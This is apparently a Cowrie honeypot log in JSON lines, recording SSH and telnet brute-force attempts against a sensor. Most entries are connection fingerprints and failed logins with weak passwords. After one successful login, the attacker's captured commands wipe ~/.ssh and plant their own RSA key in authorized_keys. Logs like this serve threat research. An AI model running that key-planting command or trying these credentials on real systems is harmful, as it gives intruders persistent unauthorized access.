{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:55.067886Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.60240173339844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:06.925245Z","src_ip":"128.199.8.54","session":"2aa591df2930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64697813987732,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:16.307092Z","src_ip":"128.199.8.54","session":"804e923ec7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":47166,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a1ff2298ece","protocol":"ssh","message":"New connection: 122.168.194.41:47166 (159.203.135.109:22) [session: 9a1ff2298ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:24.534581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:24.541302Z","src_ip":"122.168.194.41","session":"9a1ff2298ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:24.825783Z","src_ip":"122.168.194.41","session":"9a1ff2298ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpadmin","password":"sftpadmin123","message":"login attempt [sftpadmin/sftpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:25.996271Z","src_ip":"122.168.194.41","session":"9a1ff2298ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:27.284920Z","src_ip":"122.168.194.41","session":"9a1ff2298ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48022,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b1826ba2c3","protocol":"telnet","message":"New connection: 128.199.8.54:48022 (159.203.135.109:23) [session: 90b1826ba2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:36.912493Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42956,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f434e40cbf6","protocol":"telnet","message":"New connection: 128.199.8.54:42956 (159.203.135.109:23) [session: 7f434e40cbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:48.953364Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43994,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b1a4e19a46","protocol":"telnet","message":"New connection: 128.199.8.54:43994 (159.203.135.109:23) [session: 76b1a4e19a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:48:50.494687Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46274,"dst_ip":"159.203.135.109","dst_port":23,"session":"3853cbf9d4cf","protocol":"telnet","message":"New connection: 128.199.8.54:46274 (159.203.135.109:23) [session: 3853cbf9d4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:06.345472Z"}
{"eventid":"cowrie.session.closed","duration":35.67275333404541,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:12.585165Z","src_ip":"128.199.8.54","session":"90b1826ba2c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45540,"dst_ip":"159.203.135.109","dst_port":22,"session":"85b120b7672d","protocol":"ssh","message":"New connection: 2.57.122.208:45540 (159.203.135.109:22) [session: 85b120b7672d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:13.237961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:13.245514Z","src_ip":"2.57.122.208","session":"85b120b7672d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:13.522736Z","src_ip":"2.57.122.208","session":"85b120b7672d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:14.610471Z","src_ip":"2.57.122.208","session":"85b120b7672d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:15.727236Z","src_ip":"2.57.122.208","session":"85b120b7672d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":46422,"dst_ip":"10.17.0.5","dst_port":22,"session":"3112007ad594","protocol":"ssh","message":"New connection: 2.57.121.112:46422 (10.17.0.5:22) [session: 3112007ad594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:21.832794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:21.838072Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:21.942171Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":53546,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7fd7f03ad09","protocol":"ssh","message":"New connection: 122.168.194.41:53546 (159.203.135.109:22) [session: b7fd7f03ad09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:21.997735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:22.003046Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:22.279675Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"papi","message":"login attempt [admin/papi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:22.443766Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.7065794467926,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.201177Z","src_ip":"128.199.8.54","session":"76b1a4e19a46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a54c772339","protocol":"telnet","message":"New connection: 128.199.8.54:49850 (159.203.135.109:23) [session: d3a54c772339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.232337Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oralce","message":"login attempt [oracle/oralce] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.387627Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pablos","message":"login attempt [admin/pablos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.549774Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.977843Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.981367Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.985335Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.03864312171936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:23.991864Z","src_ip":"128.199.8.54","session":"7f434e40cbf6","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:24.258239Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p4ss","message":"login attempt [admin/p4ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:24.657363Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:24.858546Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:24.862079Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":31778,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77f0a6d7ea7","protocol":"telnet","message":"New connection: 212.55.149.117:31778 (10.17.0.5:23) [session: d77f0a6d7ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:24.949582Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:25.141706Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:25.145882Z","src_ip":"122.168.194.41","session":"b7fd7f03ad09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":34630,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6312806fd22","protocol":"ssh","message":"New connection: 122.168.194.41:34630 (159.203.135.109:22) [session: c6312806fd22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:25.410259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:25.414835Z","src_ip":"122.168.194.41","session":"c6312806fd22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:25.690021Z","src_ip":"122.168.194.41","session":"c6312806fd22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"overture","message":"login attempt [admin/overture] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:25.764909Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:26.822788Z","src_ip":"122.168.194.41","session":"c6312806fd22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"overdose","message":"login attempt [admin/overdose] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:26.871752Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:27.979033Z","src_ip":"2.57.121.112","session":"3112007ad594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:28.104575Z","src_ip":"122.168.194.41","session":"c6312806fd22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45570,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9039655ceaf","protocol":"ssh","message":"New connection: 103.15.226.202:45570 (10.17.0.5:22) [session: b9039655ceaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:28.266164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:28.271418Z","src_ip":"103.15.226.202","session":"b9039655ceaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":34636,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb227d634c0e","protocol":"ssh","message":"New connection: 122.168.194.41:34636 (159.203.135.109:22) [session: fb227d634c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:28.385070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:49:28.390341Z","src_ip":"122.168.194.41","session":"fb227d634c0e","protocol":"ssh"}
